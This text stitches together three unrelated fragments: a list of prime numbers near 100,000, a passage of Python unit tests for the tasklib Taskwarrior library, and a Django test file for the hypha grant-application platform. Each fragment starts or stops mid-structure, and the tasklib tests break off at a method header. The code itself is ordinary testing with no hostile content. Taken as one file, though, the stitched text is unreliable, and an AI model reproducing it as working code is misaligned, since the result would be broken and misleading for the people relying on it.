98963, 98981, 98993, 98999, 99013, 99017, 99023, 99041, 99053, 99079, 99083, 99089, 99103, 99109, 99119, 99131, 99133, 99137, 99139, 99149, 99173, 99181, 99191, 99223, 99233, 99241, 99251, 99257, 99259, 99277, 99289, 99317, 99347, 99349, 99367, 99371, 99377, 99391, 99397, 99401, 99409, 99431, 99439, 99469, 99487, 99497, 99523, 99527, 99529, 99551, 99559, 99563, 99571, 99577, 99581, 99607, 99611, 99623, 99643, 99661, 99667, 99679, 99689, 99707, 99709, 99713, 99719, 99721, 99733, 99761, 99767, 99787, 99793, 99809, 99817, 99823, 99829, 99833, 99839, 99859, 99871, 99877, 99881, 99901, 99907, 99923, 99929, 99961, 99971, 99989, 99991, 100003, 100019, 100043, 100049, 100057, 100069, 100103, 100109, 100129, 100151, 100153, 100169, 100183, 100189, 100193, 100207, 100213, 100237, 100267, 100271, 100279, 100291, 100297, 100313, 100333, 100343, 100357, 100361, 100363, 100379, 100391, 100393, 100403, 100411, 100417, 100447, 100459, 100469, 100483, 100493, 100501, 100511, 100517, 100519, 100523, 100537, 100547, 100549, 100559, 100591, 100609, 100613, 100621, 100649, 100669, 100673, 100693, 100699, 100703, 100733, 100741, 100747, 100769, 100787, 100799, 100801, 100811, 100823, 100829, 100847, 100853, 100907, 100913, 100927, 100931, 100937, 100943, 100957, 100981, 100987, 100999, 101009, 101021, 101027, 101051, 101063, 101081, 101089, 101107, 101111, 101113, 101117, 101119, 101141, 101149, 101159, 101161, 101173, 101183, 101197, 101203, 101207, 101209, 101221, 101267, 101273, 101279, 101281, 101287, 101293, 101323, 101333, 101341, 101347, 101359, 101363, 101377, 101383, 101399, 101411, 101419, 101429, 101449, 101467, 101477, 101483, 101489, 101501, 101503, 101513, 101527, 101531, 101533, 101537, 101561, 101573, 101581, 101599, 101603, 101611, 101627, 101641, 101653, 101663, 101681, 101693, 101701, 101719, 101723, 101737, 101741, 101747, 101749, 101771, 101789, 101797, 101807, 101833, 101837, 101839, 101863, 101869, 101873, 101879, 101891, 101917, 101921, 101929, 101939, 101957, 101963, 101977, 101987, 101999, 102001, 102013, 102019, 102023, 102031, 102043, 102059, 102061, 102071, 102077, 102079, 102101, 102103, 102107, 102121, 102139, 102149, 102161, 102181, 102191, 102197, 102199, 102203, 102217, 102229, 102233, 102241, 102251, 102253, 102259, 102293, 102299, 102301, 102317, 102329, 102337, 102359, 102367, 102397, 102407, 102409, 102433, 102437, 102451, 102461, 102481, 102497, 102499, 102503, 102523, 102533, 102539, 102547, 102551, 102559, 102563, 102587, 102593, 102607, 102611, 102643, 102647, 102653, 102667, 102673, 102677, 102679, 102701, 102761, 102763, 102769, 102793, 102797, 102811, 102829, 102841, 102859, 102871, 102877, 102881, 102911, 102913, 102929, 102931, 102953, 102967, 102983, 103001, 103007, 103043, 103049, 103067, 103069, 103079, 103087, 103091, 103093, 103099, 103123, 103141, 103171, 103177, 103183, 103217, 103231, 103237, 103289, 103291, 103307, 103319, 103333, 103349, 103357, 103387, 103391, 103393, 103399, 103409, 103421, 103423, 103451, 103457, 103471, 103483, 103511, 103529, 103549, 103553, 103561, 103567, 103573, 103577, 103583, 103591, 103613, 103619, 103643, 103651, 103657, 103669, 103681, 103687, 103699, 103703, 103723, 103769, 103787, 103801, 103811, 103813, 103837, 103841, 103843, 103867, 103889, 103903, 103913, 103919, 103951, 103963, 103967, 103969, 103979, 103981, 103991, 103993, 103997, 104003, 104009, 104021, 104033, 104047, 104053, 104059, 104087, 104089, 104107, 104113, 104119, 104123, 104147, 104149, 104161, 104173, 104179, 104183, 104207, 104231, 104233, 104239, 104243, 104281, 104287, 104297, 104309, 104311, 104323, 104327, 104347, 104369, 104381, 104383, 104393, 104399, 104417, 104459, 104471, 104473, 104479, 104491, 104513, 104527, 104537, 104543, 104549, 104551, 104561, 104579, 104593, 104597, 104623, 104639, 104651, 104659, 104677, 104681, 104683, 104693, 104701, 104707, 104711, 104717, 104723, 104729, 104743, 104759, 104761, 104773, 104779, 104789, 104801, 104803, 104827, 104831, 104849, 104851, 104869, 104879, 104891, 104911, 104917, 104933, 104947, 104953, 104959, 104971, 104987, 104999, 105019, 105023, 105031, 105037, 105071, 105097, 105107, 105137, 105143, 105167, 105173, 105199, 105211, 105227, 105229, 105239, 105251, 105253, 105263, 105269, 105277, 105319, 105323, 105331, 105337, 105341, 105359, 105361, 105367, 105373, 105379, 105389, 105397, 105401, 105407, 105437, 105449, 105467, 105491, 105499, 105503, 105509, 105517, 105527, 105529, 105533, 105541, 105557, 105563, 105601, 105607, 105613, 105619, 105649, 105653, 105667, 105673, 105683, 105691, 105701, 105727, 105733, 105751, 105761, 105767, 105769, 105817, 105829, 105863, 105871, 105883, 105899, 105907, 105913, 105929, 105943, 105953, 105967, 105971, 105977, 105983, 105997, 106013, 106019, 106031, 106033, 106087, 106103, 106109, 106121, 106123, 106129, 106163, 106181, 106187, 106189, 106207, 106213, 106217, 106219, 106243, 106261, 106273, 106277, 106279, 106291, 106297, 106303, 106307, 106319, 106321, 106331, 106349, 106357, 106363, 106367, 106373, 106391, 106397, 106411, 106417, 106427, 106433, 106441, 106451, 106453, 106487, 106501, 106531, 106537, 106541, 106543, 106591, 106619, 106621, 106627, 106637, 106649, 106657, 106661, 106663, 106669, 106681, 106693, 106699, 106703, 106721, 106727, 106739, 106747, 106751, 106753, 106759, 106781, 106783, 106787, 106801, 106823, 106853, 106859, 106861, 106867, 106871, 106877, 106903, 106907, 106921, 106937, 106949, 106957, 106961, 106963, 106979, 106993, 107021, 107033, 107053, 107057, 107069, 107071, 107077, 107089, 107099, 107101, 107119, 107123, 107137, 107171, 107183, 107197, 107201, 107209, 107227, 107243, 107251,
t.save() t['depends'].remove(dependency2) t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency1['uuid']])) def test_add_to_dependency_set(self): # Adds dependency to task with one dependencies t = Task(self.tw, description='test task') dependency1 = Task(self.tw, description='needs to be done first') dependency2 = Task(self.tw, description='needs to be done second') dependency1.save() dependency2.save() t['depends'] = set([dependency1]) t.save() t['depends'].add(dependency2) t.save() self.assertEqual(t['depends'], set([dependency1, dependency2])) def test_add_to_dependency_lazyuuidtaskset(self): # Adds dependency to task with one dependencies as LazyUUIDTaskSet t = Task(self.tw, description='test task') dependency1 = Task(self.tw, description='needs to be done first') dependency2 = Task(self.tw, description='needs to be done second') dependency1.save() dependency2.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency1['uuid']]) t.save() t['depends'].add(dependency2) t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency1['uuid'], dependency2['uuid']])) def test_add_lazyuuidtaskset_to_dependency_lazyuuidtaskset(self): # Adds dependency as LazyUUIDTaskSet to task with one dependencies as LazyUUIDTaskSet t = Task(self.tw, description='test task') dependency1 = Task(self.tw, description='needs to be done first') dependency2 = Task(self.tw, description='needs to be done second') dependency1.save() dependency2.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency1['uuid']]) t.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency2['uuid']]).union(t['depends']) t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency1['uuid'], dependency2['uuid']])) def test_add_to_empty_dependency_set(self): # Adds dependency to task with no dependencies t = Task(self.tw, description='test task') dependency = Task(self.tw, description='needs to be done first') dependency.save() t['depends'].add(dependency) t.save() self.assertEqual(t['depends'], set([dependency])) def test_add_to_empty_dependency_lazyuuidtaskset(self): # Adds dependency as LazyUUIDTaskSet to task with no dependencies t = Task(self.tw, description='test task') dependency = Task(self.tw, description='needs to be done first') dependency.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency['uuid']]) t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency['uuid']])) def test_simple_dependency_set_save_repeatedly(self): # Adds only one dependency to task with no dependencies t = Task(self.tw, description='test task') dependency = Task(self.tw, description='needs to be done first') dependency.save() t['depends'] = set([dependency]) t.save() # We taint the task, but keep depends intact t['description'] = 'test task modified' t.save() self.assertEqual(t['depends'], set([dependency])) # We taint the task, but assign the same set to the depends t['depends'] = set([dependency]) t['description'] = 'test task modified again' t.save() self.assertEqual(t['depends'], set([dependency])) def test_simple_dependency_lazyuuidtaskset_save_repeatedly(self): # Adds only one dependency as LazyUUIDTaskSet to task with no dependencies t = Task(self.tw, description='test task') dependency = Task(self.tw, description='needs to be done first') dependency.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency['uuid']]) t.save() # We taint the task, but keep depends intact t['description'] = 'test task modified' t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency['uuid']])) # We taint the task, but assign the same set to the depends t['depends'] = LazyUUIDTaskSet(self.tw, [dependency['uuid']]) t['description'] = 'test task modified again' t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency['uuid']])) def test_simple_dependency_lazyuuidtaskset_save_before_repeatedly(self): # Adds only one dependency as LazyUUIDTaskSet to a saved task with no dependencies t = Task(self.tw, description='test task') dependency = Task(self.tw, description='needs to be done first') dependency.save() t.save() t['depends'] = LazyUUIDTaskSet(self.tw, [dependency['uuid']]) t.save() self.assertEqual(t['depends'], LazyUUIDTaskSet(self.tw, [dependency['uuid']])) def test_compare_different_tasks(self): # Negative: compare two different tasks t1 = Task(self.tw, description='test task') t2 = Task(self.tw, description='test task') t1.save() t2.save() self.assertEqual(t1 == t2, False) def test_compare_same_task_object(self): # Compare Task object wit itself t = Task(self.tw, description='test task') t.save() self.assertEqual(t == t, True) def test_compare_same_task(self): # Compare the same task using two different objects t1 = Task(self.tw, description='test task') t1.save() t2 = self.tw.tasks.get(uuid=t1['uuid']) self.assertEqual(t1 == t2, True) def test_compare_unsaved_tasks(self): # t1 and t2 are unsaved tasks, considered to be unequal # despite the content of data t1 = Task(self.tw, description='test task') t2 = Task(self.tw, description='test task') self.assertEqual(t1 == t2, False) def test_hash_unsaved_tasks(self): # Considered equal, it's the same object t1 = Task(self.tw, description='test task') t2 = t1 self.assertEqual(hash(t1) == hash(t2), True) def test_hash_same_task(self): # Compare the hash of the task using two different objects t1 = Task(self.tw, description='test task') t1.save() t2 = self.tw.tasks.get(uuid=t1['uuid']) self.assertEqual(t1.__hash__(), t2.__hash__()) def test_hash_unequal_unsaved_tasks(self): # Compare the hash of the task using two different objects t1 = Task(self.tw, description='test task 1') t2 = Task(self.tw, description='test task 2') self.assertNotEqual(t1.__hash__(), t2.__hash__()) def test_hash_unequal_saved_tasks(self): # Compare the hash of the task using two different objects t1 = Task(self.tw, description='test task 1') t2 = Task(self.tw, description='test task 2') t1.save() t2.save() self.assertNotEqual(t1.__hash__(), t2.__hash__()) def test_adding_task_with_priority(self): t = Task(self.tw, description='test task', priority='M') t.save() def test_removing_priority_with_none(self): t = Task(self.tw, description='test task', priority='L') t.save() # Remove the priority mark t['priority'] = None t.save() # Assert that priority is not there after saving self.assertEqual(t['priority'], None) def test_adding_task_with_due_time(self): t = Task(self.tw, description='test task', due=datetime.datetime.now()) t.save() def test_removing_due_time_with_none(self): t = Task(self.tw, description='test task', due=datetime.datetime.now()) t.save() # Remove the due timestamp t['due'] = None t.save() # Assert that due timestamp is no longer there self.assertEqual(t['due'], None) def test_modified_fields_new_task(self): t = Task(self.tw) # This should be empty with new task self.assertEqual(set(t._modified_fields), set()) # Modify the task t['description'] = 'test task' self.assertEqual(set(t._modified_fields), set(['description'])) t['due'] = datetime.datetime(2014, 2, 14, 14, 14, 14) # <3 self.assertEqual(set(t._modified_fields), set(['description', 'due'])) t['project'] = 'test project' self.assertEqual( set(t._modified_fields), set(['description', 'due', 'project']), ) # List of modified fields should clear out when saved t.save() self.assertEqual(set(t._modified_fields), set()) # Reassigning the fields with the same values now should not produce # modified fields t['description'] = 'test task' t['due'] = datetime.datetime(2014, 2, 14, 14, 14, 14) # <3 t['project'] = 'test project' self.assertEqual(set(t._modified_fields), set()) def test_modified_fields_loaded_task(self): t = Task(self.tw) # Modify the task t['description'] = 'test task' t['due'] = datetime.datetime(2014, 2, 14, 14, 14, 14) # <3 t['project'] = 'test project' dependency = Task(self.tw, description='dependency') dependency.save() t['depends'] = set([dependency]) # List of modified fields should clear out when saved t.save() self.assertEqual(set(t._modified_fields), set()) # Get the task by using a filter by UUID self.tw.tasks.get(uuid=t['uuid']) # Reassigning the fields with the same values now should not produce # modified fields t['description'] = 'test task' t['due'] = datetime.datetime(2014, 2, 14, 14, 14, 14) # <3 t['project'] = 'test project' t['depends'] = set([dependency]) self.assertEqual(set(t._modified_fields), set()) def test_modified_fields_not_affected_by_reading(self): t = Task(self.tw) for field in TASK_STANDARD_ATTRS: t[field] self.assertEqual(set(t._modified_fields), set()) def test_setting_read_only_attrs_through_init(self): # Test that we are unable to set readonly attrs through __init__ for readonly_key in Task.read_only_fields: kwargs = {'description': 'test task', readonly_key: 'value'} self.assertRaises( RuntimeError, lambda: Task(self.tw, **kwargs), ) def test_setting_read_only_attrs_through_setitem(self): # Test that we are unable to set readonly attrs through __init__ for readonly_key in Task.read_only_fields: t = Task(self.tw, description='test task') self.assertRaises( RuntimeError, lambda: t.__setitem__(readonly_key, 'value'), ) def test_saving_unmodified_task(self): t = Task(self.tw, description='test task') t.save() t.save() def test_adding_tag_by_appending(self): t = Task(self.tw, description='test task', tags=['test1']) t.save() t['tags'].add('test2') t.save() self.assertEqual(t['tags'], set(['test1', 'test2'])) def test_adding_tag_twice(self): t = Task(self.tw, description='test task', tags=['test1']) t.save() t['tags'].add('test2') t['tags'].add('test2') t.save() self.assertEqual(t['tags'], set(['test1', 'test2'])) def test_adding_tag_by_appending_empty(self): t = Task(self.tw, description='test task') t.save() t['tags'].add('test') t.save() self.assertEqual(t['tags'], set(['test'])) def test_serializers_returning_empty_string_for_none(self): # Test that any serializer returns '' when passed None t = Task(self.tw) serializers = [ getattr(t, serializer_name) for serializer_name in filter( lambda x: x.startswith('serialize_'), dir(t), ) ] for serializer in serializers: self.assertEqual(serializer(None), '') def test_deserializer_returning_empty_value_for_empty_string(self): # Test that any deserializer returns empty value when passed '' t = Task(self.tw) deserializers = [ getattr(t, deserializer_name) for deserializer_name in filter( lambda x: x.startswith('deserialize_'), dir(t), ) ] for deserializer in deserializers: self.assertTrue(deserializer('') in (None, [], set())) def test_normalizers_handling_none(self): # Test that any normalizer can handle None as a valid value t = Task(self.tw) for key in TASK_STANDARD_ATTRS: t._normalize(key, None) def test_recurrent_task_generation(self): today = datetime.date.today() t = Task( self.tw, description='brush teeth', due=today, recur='daily', ) t.save() self.assertEqual(len(self.tw.tasks.pending()), 2) def test_spawned_task_parent(self): today = datetime.date.today() t = Task( self.tw, description='brush teeth', due=today, recur='daily', ) t.save() spawned = self.tw.tasks.pending().get(due=today) assert spawned['parent'] == t def test_modify_number_of_tasks_at_once(self): for i in range(1, 100): Task(self.tw, description='test task %d' % i, tags=['test']).save() self.tw.execute_command(['+test', 'mod', 'unified', 'description']) def test_return_all_from_executed_command(self): Task(self.tw, description='test task', tags=['test']).save() out, err, rc = self.tw.execute_command(['count'], return_all=True) self.assertEqual(rc, 0) def test_return_all_from_failed_executed_command(self): Task(self.tw, description='test task', tags=['test']).save() out, err, rc = self.tw.execute_command( ['countinvalid'], return_all=True, allow_failure=False, ) self.assertNotEqual(rc, 0) class TaskFromHookTest(TasklibTest): input_add_data = StringIO( '{"description":"Buy some milk",' '"entry":"20141118T050231Z",' '"status":"pending",' '"start":"20141119T152233Z",' '"uuid":"a360fc44-315c-4366-b70c-ea7e7520b749"}', ) input_add_data_recurring = StringIO( '{"description":"Mow the lawn",' '"entry":"20160210T224304Z",' '"parent":"62da6227-519c-42c2-915d-dccada926ad7",' '"recur":"weekly",' '"status":"pending",' '"uuid":"81305335-0237-49ff-8e87-b3cdc2369cec"}', ) input_modify_data = StringIO( '\n'.join([ input_add_data.getvalue(), ( '{"description":"Buy some milk finally",' '"entry":"20141118T050231Z",' '"status":"completed",' '"uuid":"a360fc44-315c-4366-b70c-ea7e7520b749"}' ), ]), ) exported_raw_data = ( '{"project":"Home",' '"due":"20150101T232323Z",' '"description":"test task"}' ) def test_setting_up_from_add_hook_input(self): t = Task.from_input(input_file=self.input_add_data, backend=self.tw) self.assertEqual(t['description'], 'Buy some milk') self.assertEqual(t.pending, True) def test_setting_up_from_add_hook_input_recurring(self): t = Task.from_input( input_file=self.input_add_data_recurring, backend=self.tw, ) self.assertEqual(t['description'], 'Mow the lawn') self.assertEqual(t.pending, True) def test_setting_up_from_modified_hook_input(self): t = Task.from_input( input_file=self.input_modify_data, modify=True, backend=self.tw, ) self.assertEqual(t['description'], 'Buy some milk finally') self.assertEqual(t.pending, False) self.assertEqual(t.completed, True) self.assertEqual(t._original_data['status'], 'pending') self.assertEqual(t._original_data['description'], 'Buy some milk') self.assertEqual( set(t._modified_fields), set(['status', 'description', 'start']), ) def test_export_data(self):
<reponame>killapop/hypha import re from datetime import timedelta from bs4 import BeautifulSoup from django.contrib.auth.models import AnonymousUser from django.core.exceptions import PermissionDenied from django.http import Http404 from django.test import RequestFactory, TestCase, override_settings from django.urls import reverse from django.utils import timezone from django.utils.text import slugify from hypha.apply.activity.models import TEAM, Activity from hypha.apply.determinations.tests.factories import DeterminationFactory from hypha.apply.funds.tests.factories import ( ApplicationRevisionFactory, ApplicationSubmissionFactory, AssignedReviewersFactory, AssignedWithRoleReviewersFactory, InvitedToProposalFactory, LabSubmissionFactory, ReminderFactory, ReviewerRoleFactory, ScreeningStatusFactory, SealedRoundFactory, SealedSubmissionFactory, ) from hypha.apply.funds.workflow import INITIAL_STATE from hypha.apply.home.factories import ApplySiteFactory from hypha.apply.projects.models import Project from hypha.apply.projects.tests.factories import ProjectFactory from hypha.apply.review.tests.factories import ReviewFactory from hypha.apply.users.tests.factories import ( ApplicantFactory, CommunityReviewerFactory, PartnerFactory, ReviewerFactory, StaffFactory, SuperUserFactory, ) from hypha.apply.utils.testing import make_request from hypha.apply.utils.testing.tests import BaseViewTestCase from ..models import ( ApplicationRevision, ApplicationSubmission, ReviewerSettings, ScreeningStatus, ) from ..views import SubmissionDetailSimplifiedView, SubmissionDetailView from .factories import CustomFormFieldsFactory def prepare_form_data(submission, **kwargs): data = submission.raw_data for field, value in kwargs.items(): # convert named fields into id field_id = submission.field(field).id data[field_id] = value return CustomFormFieldsFactory.form_response(submission.form_fields, data) class BaseSubmissionViewTestCase(BaseViewTestCase): url_name = 'funds:submissions:{}' base_view_name = 'detail' def get_kwargs(self, instance): return {'pk': instance.id} class TestStaffSubmissionView(BaseSubmissionViewTestCase): user_factory = StaffFactory @classmethod def setUpTestData(cls): cls.submission = ApplicationSubmissionFactory() super().setUpTestData() def __setUp__(self): self.refresh(self.submission) def test_can_view_a_submission(self): response = self.get_page(self.submission) self.assertContains(response, self.submission.title) def test_can_view_a_lab_submission(self): submission = LabSubmissionFactory() response = self.get_page(submission) self.assertContains(response, submission.title) def test_can_progress_phase(self): next_status = 'internal_review' self.post_page(self.submission, {'form-submitted-progress_form': '', 'action': next_status}) submission = self.refresh(self.submission) self.assertEqual(submission.status, next_status) def test_redirected_to_determination(self): submission = ApplicationSubmissionFactory(status='concept_review_discussion', workflow_stages=2, lead=self.user) response = self.post_page(submission, {'form-submitted-progress_form': '', 'action': 'invited_to_proposal'}) # Invited for proposal is a a determination, so this will redirect to the determination form. url = self.url_from_pattern('funds:submissions:determinations:form', kwargs={'submission_pk': submission.id}) self.assertRedirects(response, f"{url}?action=invited_to_proposal") def test_new_form_after_progress(self): submission = ApplicationSubmissionFactory(status='invited_to_proposal', workflow_stages=2, lead=self.user) stage = submission.stage DeterminationFactory(submission=submission, accepted=True) request = make_request(self.user, method='get', site=submission.page.get_site()) submission.progress_stage_when_possible(self.user, request) submission = self.refresh(submission) new_stage = submission.stage self.assertNotEqual(stage, new_stage) get_forms = submission.get_from_parent('get_defined_fields') self.assertEqual(submission.form_fields, get_forms(new_stage)) self.assertNotEqual(submission.form_fields, get_forms(stage)) def test_cant_progress_stage_if_not_lead(self): submission = ApplicationSubmissionFactory(status='concept_review_discussion', workflow_stages=2) self.post_page(submission, {'form-submitted-progress_form': '', 'action': 'invited_to_proposal'}) submission = self.refresh(submission) self.assertEqual(submission.status, 'concept_review_discussion') self.assertIsNone(submission.next) def test_not_redirected_if_determination_submitted(self): submission = ApplicationSubmissionFactory(lead=self.user) DeterminationFactory(submission=submission, rejected=True, submitted=True) self.post_page(submission, {'form-submitted-progress_form': '', 'action': 'rejected'}) submission = self.refresh(submission) self.assertEqual(submission.status, 'rejected') def test_not_redirected_if_wrong_determination_selected(self): submission = ApplicationSubmissionFactory(lead=self.user) DeterminationFactory(submission=submission, accepted=True, submitted=True) response = self.post_page(submission, {'form-submitted-progress_form': '', 'action': 'rejected'}) self.assertContains(response, 'you tried to progress') submission = self.refresh(submission) self.assertNotEqual(submission.status, 'accepted') self.assertNotEqual(submission.status, 'rejected') def test_cant_access_edit_button_when_applicant_editing(self): submission = ApplicationSubmissionFactory(status='more_info') response = self.get_page(submission) self.assertNotContains(response, self.url(submission, 'edit', absolute=False)) def test_can_access_edit_button(self): response = self.get_page(self.submission) self.assertContains(response, self.url(self.submission, 'edit', absolute=False)) def test_can_access_edit(self): response = self.get_page(self.submission, 'edit') self.assertContains(response, self.submission.title) def test_previous_and_next_appears_on_page(self): proposal = InvitedToProposalFactory() response = self.get_page(proposal) self.assertContains(response, self.url(proposal.previous, absolute=False)) response = self.get_page(proposal.previous) self.assertContains(response, self.url(proposal, absolute=False)) def test_can_edit_submission(self): old_status = self.submission.status new_title = 'A new Title' data = prepare_form_data(self.submission, title=new_title) response = self.post_page(self.submission, {'submit': True, **data}, 'edit') url = self.url(self.submission) self.assertRedirects(response, url) submission = self.refresh(self.submission) # Staff edits don't affect the status self.assertEqual(old_status, submission.status) self.assertEqual(new_title, submission.title) def test_not_included_fields_render(self): submission = ApplicationSubmissionFactory(form_fields__exclude__checkbox=True) response = self.get_page(submission) self.assertNotContains(response, 'check_one') def test_can_screen_submission(self): ScreeningStatus.objects.all().delete() screening_outcome1 = ScreeningStatusFactory() screening_outcome1.yes = True screening_outcome1.save() screening_outcome2 = ScreeningStatusFactory() screening_outcome2.yes = True screening_outcome2.default = True screening_outcome2.save() self.submission.screening_statuses.clear() self.submission.screening_statuses.add(screening_outcome2) self.post_page(self.submission, {'form-submitted-screening_form': '', 'screening_statuses': [screening_outcome1.id, screening_outcome2.id]}) submission = self.refresh(self.submission) self.assertEqual(submission.screening_statuses.count(), 2) def test_can_view_submission_screening_block(self): ScreeningStatus.objects.all().delete() screening_outcome1 = ScreeningStatusFactory() screening_outcome1.yes = True screening_outcome1.default = True screening_outcome1.yes = True screening_outcome1.save() screening_outcome2 = ScreeningStatusFactory() screening_outcome2.yes = False screening_outcome2.default = True screening_outcome2.save() self.submission.screening_statuses.clear() response = self.get_page(self.submission) self.assertContains(response, 'Screening status') def test_cant_view_submission_screening_block(self): """ If defaults are not set screening status block is not visible """ ScreeningStatus.objects.all().delete() self.submission.screening_statuses.clear() response = self.get_page(self.submission) self.assertNotContains(response, 'Screening status') def test_can_create_project(self): # check submission doesn't already have a Project with self.assertRaisesMessage(Project.DoesNotExist, 'ApplicationSubmission has no project.'): self.submission.project self.post_page(self.submission, { 'form-submitted-project_form': '', 'submission': self.submission.id, }) project = Project.objects.order_by('-pk').first() submission = ApplicationSubmission.objects.get(pk=self.submission.pk) self.assertTrue(hasattr(submission, 'project')) self.assertEquals(submission.project.id, project.id) def test_can_see_add_determination_primary_action(self): def assert_add_determination_displayed(submission, button_text): response = self.get_page(submission) # Ignore whitespace (including line breaks) in button text pattern = re.compile(rf'\s*{button_text}\s*') buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text=pattern) self.assertEqual(len(buttons), 1) submission = ApplicationSubmissionFactory(status='determination') # Phase: ready-for-determination, no determination # "Add determination" should be displayed assert_add_determination_displayed(submission, 'Add determination') # Phase: ready-for-determination, draft determination # "Complete draft determination" should be displayed DeterminationFactory(submission=submission, author=self.user, accepted=True, submitted=False) assert_add_determination_displayed(submission, 'Complete draft determination') def test_cant_see_add_determination_primary_action(self): def assert_add_determination_not_displayed(submission, button_text): response = self.get_page(submission) # Ignore whitespace (including line breaks) in button text pattern = re.compile(rf'\s*{button_text}\s*') buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text=pattern) self.assertEqual(len(buttons), 0) submission = ApplicationSubmissionFactory() # Phase: received / in_discussion # "Add determination" should not be displayed # "Complete draft determination" should not be displayed assert_add_determination_not_displayed(submission, 'Add determination') assert_add_determination_not_displayed(submission, 'Complete draft determination') # Phase: accepted # "Add determination" should not be displayed # "Complete draft determination" should not be displayed submission.perform_transition('accepted', self.user) assert_add_determination_not_displayed(submission, 'Add determination') assert_add_determination_not_displayed(submission, 'Complete draft determination') def test_screen_application_primary_action_is_displayed(self): ScreeningStatus.objects.all().delete() # Submission not screened screening_outcome = ScreeningStatusFactory() screening_outcome.yes = False screening_outcome.default = True screening_outcome.save() self.submission.screening_statuses.clear() self.submission.screening_statuses.add(screening_outcome) response = self.get_page(self.submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='sidebar').find_all('a', text='Screen application') self.assertEqual(len(buttons), 1) self.submission.screening_statuses.clear() def test_screen_application_primary_action_is_not_displayed(self): response = self.get_page(self.submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='sidebar').find_all('a', text='Screen application') self.assertEqual(len(buttons), 0) def test_can_see_create_review_primary_action(self): def assert_create_review_displayed(submission, button_text): response = self.get_page(submission) # Ignore whitespace (including line breaks) in button text pattern = re.compile(rf'\s*{button_text}\s*') buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text=pattern) self.assertEqual(len(buttons), 1) submission = ApplicationSubmissionFactory(with_external_review=True, status='ext_internal_review') # Phase: internal_review, no review # "Add a review" should be displayed assert_create_review_displayed(submission, 'Add a review') # Phase: internal_review, draft review created # "Complete draft review" should be displayed review = ReviewFactory(submission=submission, author__reviewer=self.user, is_draft=True) assert_create_review_displayed(submission, 'Complete draft review') review.delete() # Phase: external_review, no review # "Add a review" should be displayed submission.perform_transition('ext_post_review_discussion', self.user) submission.perform_transition('ext_external_review', self.user) assert_create_review_displayed(submission, 'Add a review') # Phase: external_review, draft review created # "Complete draft review" should be displayed ReviewFactory(submission=submission, author__reviewer=self.user, is_draft=True) assert_create_review_displayed(submission, 'Complete draft review') def test_cant_see_create_review_primary_action(self): def assert_create_review_not_displayed(submission, button_text): response = self.get_page(submission) # Ignore whitespace (including line breaks) in button text pattern = re.compile(rf'\s*{button_text}\s*') buttons = BeautifulSoup(response.content, 'html5lib').find(class_='js-actions-sidebar').find_all('a', class_='button--primary', text=pattern) self.assertEqual(len(buttons), 0) submission = ApplicationSubmissionFactory(with_external_review=True) # Phase: received / in_discussion # "Add a review" should not be displayed # "Complete draft review" should not be displayed assert_create_review_not_displayed(submission, 'Add a review') assert_create_review_not_displayed(submission, 'Complete draft review') # Phase: internal_review, review completed # "Add a review" should not be displayed # "Update draft review" should not be displayed submission.perform_transition('ext_internal_review', self.user) ReviewFactory(submission=submission, author__reviewer=self.user, is_draft=False) assert_create_review_not_displayed(submission, 'Add a review') assert_create_review_not_displayed(submission, 'Complete draft review') # Phase: external_review, review completed # "Add a review" should not be displayed # "Update draft review" should not be displayed submission.perform_transition('ext_post_review_discussion', self.user) submission.perform_transition('ext_external_review', self.user) assert_create_review_not_displayed(submission, 'Add a review') assert_create_review_not_displayed(submission, 'Complete draft review') def test_can_see_assign_reviewers_primary_action(self): def assert_assign_reviewers_displayed(submission): response = self.get_page(submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='sidebar').find_all('a', class_='button--primary', text='Assign reviewers') self.assertEqual(len(buttons), 1) submission = ApplicationSubmissionFactory(status='internal_review') reviewer_role_a = ReviewerRoleFactory() reviewer_role_b = ReviewerRoleFactory() # Phase: internal_review - no reviewers assigned # Assign reviewers should be displayed assert_assign_reviewers_displayed(submission) # Phase: internal_review - not all reviewer types assigned # Assign reviewers should be displayed AssignedReviewersFactory(submission=submission, reviewer=ReviewerFactory(), role=reviewer_role_a) assert_assign_reviewers_displayed(submission) # Phase: external_review - no reviewers assigned # Assign reviewers should be displayed submission = ApplicationSubmissionFactory(with_external_review=True, status='ext_external_review') assert_assign_reviewers_displayed(submission) # Phase: external_review - all reviewers types assigned # Assign reviewers should still be displayed AssignedReviewersFactory(submission=submission, reviewer=ReviewerFactory(), role=reviewer_role_a) AssignedReviewersFactory(submission=submission, reviewer=ReviewerFactory(), role=reviewer_role_b) assert_assign_reviewers_displayed(submission) def test_cant_see_assign_reviewers_primary_action(self): def assert_assign_reviewers_not_displayed(submission): response = self.get_page(submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='sidebar').find_all('a', class_='button--primary', text='Assign reviewers') self.assertEqual(len(buttons), 0) submission = ApplicationSubmissionFactory() reviewer_role = ReviewerRoleFactory() # Phase: received / in_discussion # Assign reviewers should not be displayed assert_assign_reviewers_not_displayed(submission) # Phase: internal_review - all reviewer types assigned # Assign reviewers should not be displayed AssignedReviewersFactory(submission=submission, reviewer=ReviewerFactory(), role=reviewer_role) assert_assign_reviewers_not_displayed(submission) def test_can_see_assign_reviewers_secondary_action(self): def assert_assign_reviewers_secondary_displayed(submission): response = self.get_page(submission) buttons = BeautifulSoup(response.content, 'html5lib').find(class_='sidebar').find_all('a', class_='button--white', text='Reviewers') self.assertEqual(len(buttons), 1) submission = ApplicationSubmissionFactory() reviewer_role = ReviewerRoleFactory() # 